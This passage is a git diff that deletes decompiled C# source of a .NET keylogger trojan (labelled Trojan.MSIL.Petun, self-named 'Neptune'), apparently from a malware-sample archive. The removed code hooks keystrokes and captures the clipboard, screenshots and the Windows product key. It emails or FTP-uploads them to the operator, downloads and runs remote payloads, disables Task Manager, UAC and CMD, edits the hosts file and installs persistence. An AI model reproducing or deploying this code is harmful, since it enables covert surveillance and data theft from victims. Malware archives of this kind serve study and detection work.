":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.wxvBY) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.prMot) - Left = "[/wxvBY]"; - Module1.wxvBY = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.YFLemb += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.uDrXTTSX(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.XupTUBVai(Conversions.ToInteger(Module1.Delay)); - string eZcSkFysi = Module1.eZCSkFYSI; - Module1.eZCSkFYSI = Operators.CompareString(eZcSkFysi, "AaD", false) != 0 ? (Operators.CompareString(eZcSkFysi, "FaF", false) != 0 ? (Operators.CompareString(eZcSkFysi, "MaD", false) != 0 ? (Operators.CompareString(eZcSkFysi, "SaF", false) != 0 ? (Operators.CompareString(eZcSkFysi, "WaF", false) != 0 ? Module1.eZCSkFYSI : Module1.xUqPU) : Module1.nVmYc) : Module1.jwIqp) : Module1.dPfildCfK) : Module1.MpFlrLTJo; - Module1.jiyDF = Module1.TripleDESDecode(Module1.jiyDF, "System.Net"); - Module1.vxSuz = Module1.TripleDESDecode(Module1.vxSuz, "System.Net"); - Module1.oiBxUqPH = Module1.TripleDESDecode(Module1.oiBxUqPH, "System.Net"); - Module1.fJLrMRZP = Module1.TripleDESDecode(Module1.fJLrMRZP, "System.Net"); - Module1.NlDdEPJbK = "\\" + Module1.NlDdEPJbK; - if (Operators.CompareString(Application.StartupPath, Module1.eZCSkFYSI, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.eZCSkFYSI + Module1.NlDdEPJbK)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.RakfJ) - { - ref string local1 = ref Module1.OtDEC; - ref string local2 = ref Module1.jiyDF; - ref string local3 = ref Module1.vxSuz; - ref string local4 = ref Module1.JkHGh; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.wXicu); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.wXicu = Conversions.ToString(integer); - } - if (Module1.xIcqdQqN) - { - ref string local9 = ref Module1.OKsHggHQ; - ref string local10 = ref Module1.WjiyDGwW; - ref string local11 = ref Module1.oiBxUqPH; - ref string local12 = ref Module1.fJLrMRZP; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local13 = ref str1; - Module1.UpFTP(ref local9, ref local10, ref local11, ref local12, ref local13); - } - } - if (Module1.fhqOJmoVb) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.XUOgdBkuB)) - System.IO.File.Delete(Path.GetTempPath() + Module1.XUOgdBkuB); - MyProject.Computer.Network.DownloadFile(Module1.IOWmNMcSV, Path.GetTempPath() + Module1.XUOgdBkuB); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.XUOgdBkuB)) - { - if (Module1.ZPdnWWJKk) - Process.Start(Path.GetTempPath() + Module1.XUOgdBkuB, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.XUOgdBkuB); - } - } - if (Module1.WMPGfInk) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.dcsvyqPeX == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.IaXtdouq) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.FiyelFMC) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.SwXJYcfX) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.iZnxggTG) - Interaction.Shell("C:\\Windows\\System32\\SwXJYcfX.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.QQDDemzb) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.eZCSkFYSI + Module1.NlDdEPJbK); - Process.Start(Module1.eZCSkFYSI + Module1.NlDdEPJbK); - if (Operators.CompareString(Module1.YENNMRouC, "Melt", false) == 0) - Module1.uDrXTTSX(); - else if (Operators.CompareString(Module1.YENNMRouC, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new CTUpqBY(Module1.nYGIcFKXU).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.zYRNYpEZN, "CurrentUser", false) == 0 | Operators.CompareString(Module1.zYRNYpEZN, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.znZBXWxfw.Length != 4) - { - string[] strArray = Strings.Split(Module1.znZBXWxfw, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.THcSJXh(); - switch (Module1.dcsvyqPeX) - { - case 3: - new Thread(new ThreadStart(Module1.kUekgsJY)).Start(); - break; - case 4: - imNmxrKIe.Running = true; - break; - } - if (Module1.SSTime) - new Thread(new ThreadStart(Module1.TimedSS)).Start(); - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.YFLemb, "", false) == 0 & Module1.NoEL); - string str = ""; - if (Module1.mNnys) - str = str + "System Information - \r\n" + Module1.gtsJMPHfu() + "\r\n"; - if (Module1.OUQcsI) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.YFLemb = str + Module1.YFLemb; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.uayQcRO)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void TimedSS() - { - while (true) - { - do - { - Module1.WaitEx1(); - if (Module1.RakfJ) - { - ref string local1 = ref Module1.OtDEC; - ref string local2 = ref Module1.jiyDF; - ref string local3 = ref Module1.vxSuz; - ref string local4 = ref Module1.JkHGh; - string str1 = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str1; - string str2 = "Attached is a screenshot of the victim in the title."; - ref string local6 = ref str2; - int integer = Conversions.ToInteger(Module1.wXicu); - ref int local7 = ref integer; - bool flag = true; - ref bool local8 = ref flag; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.wXicu = Conversions.ToString(integer); - } - } - while (!Module1.xIcqdQqN); - Module1.UpFTPImg(ref Module1.OKsHggHQ, ref Module1.WjiyDGwW, ref Module1.oiBxUqPH, ref Module1.fJLrMRZP); - } - } - - public static void WaitEx1() - { - Thread thread = new Thread(new ThreadStart(Module1.WT1)); - thread.Start(); - thread.Join(); - } - - public static void WT1() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.SSInt) * 60.0 * 1000.0)))); - - public static void uayQcRO() - { - string yfLemb = Module1.YFLemb; - Module1.YFLemb = ""; - if (Module1.RakfJ) - { - ref string local1 = ref Module1.OtDEC; - ref string local2 = ref Module1.jiyDF; - ref string local3 = ref Module1.vxSuz; - ref string local4 = ref Module1.JkHGh; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref yfLemb; - int integer = Conversions.ToInteger(Module1.wXicu); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.wXicu = Conversions.ToString(integer); - } - if (!Module1.xIcqdQqN) - return; - Module1.UpFTP(ref Module1.OKsHggHQ, ref Module1.WjiyDGwW, ref Module1.oiBxUqPH, ref Module1.fJLrMRZP, ref yfLemb); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.WvkhbtqOj) * 60.0 * 1000.0)))); - - private static void XupTUBVai(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string DQppRZmOi(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string gtsJMPHfu() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.DQppRZmOi((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.DQppRZmOi((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void kUekgsJY() - { -label_0: - Module1.XupTUBVai(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.XupTUBVai(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void uDrXTTSX() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string OtDEC, - ref string Dir, - ref string jiyDF, - ref string vxSuz, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + OtDEC + Dir + str2, jiyDF, vxSuz); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + OtDEC + Dir + str2 + ".gif", jiyDF, vxSuz); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string UpFTPImg( - ref string Host, - ref string Dir, - ref string Username, - ref string Password) - { - string str1; - try - { - string str2 = "\\" + Module1.LT; - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Host + Dir + str2 + ".gif", Username, Password); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port, - ref bool TakePic = false) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (TakePic) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct tGiCgFXj - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum NlPtrZOi - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - YSkhEayF = 35, // 0x00000023 - PsIbuOJx = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - GTSimogG = 45, // 0x0000002D - XWKvXt = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - USXIBI = 162, // 0x000000A2 - NlPteZ = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.tGiCgFXj lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/My/MyApplication.cs deleted file mode 100644 index cb3b78fe..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: Koxp-TT1882, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 46CDD81C-F46A-4297-9CDC-361B9411A2F5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/My/MyComputer.cs deleted file mode 100644 index 176f5839..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: Koxp-TT1882, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 46CDD81C-F46A-4297-9CDC-361B9411A2F5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/My/MyProject.cs deleted file mode 100644 index e00a9327..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: Koxp-TT1882, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 46CDD81C-F46A-4297-9CDC-361B9411A2F5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using 